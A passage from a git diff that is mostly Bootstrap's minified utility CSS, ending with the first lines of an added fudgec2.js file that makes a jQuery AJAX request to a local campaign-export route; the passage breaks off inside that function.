-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}.text-justify{text-align:justify!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#007bff!important}a.text-primary:focus,a.text-primary:hover{color:#0062cc!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#545b62!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#1e7e34!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#117a8b!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#d39e00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#bd2130!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#dae0e5!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#1d2124!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}} +/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/FudgeC2/ServerApp/static/fudgec2.js b/FudgeC2/ServerApp/static/fudgec2.js new file mode 100644 index 0000000..7887034 --- /dev/null +++ b/FudgeC2/ServerApp/static/fudgec2.js @@ -0,0 +1,69 @@ +function export_campaign(cid){ +$.ajax({ + url:`/${cid}/export_campaign`, + type:"GET", + success: function (response) { + console.log("Getting things.") + 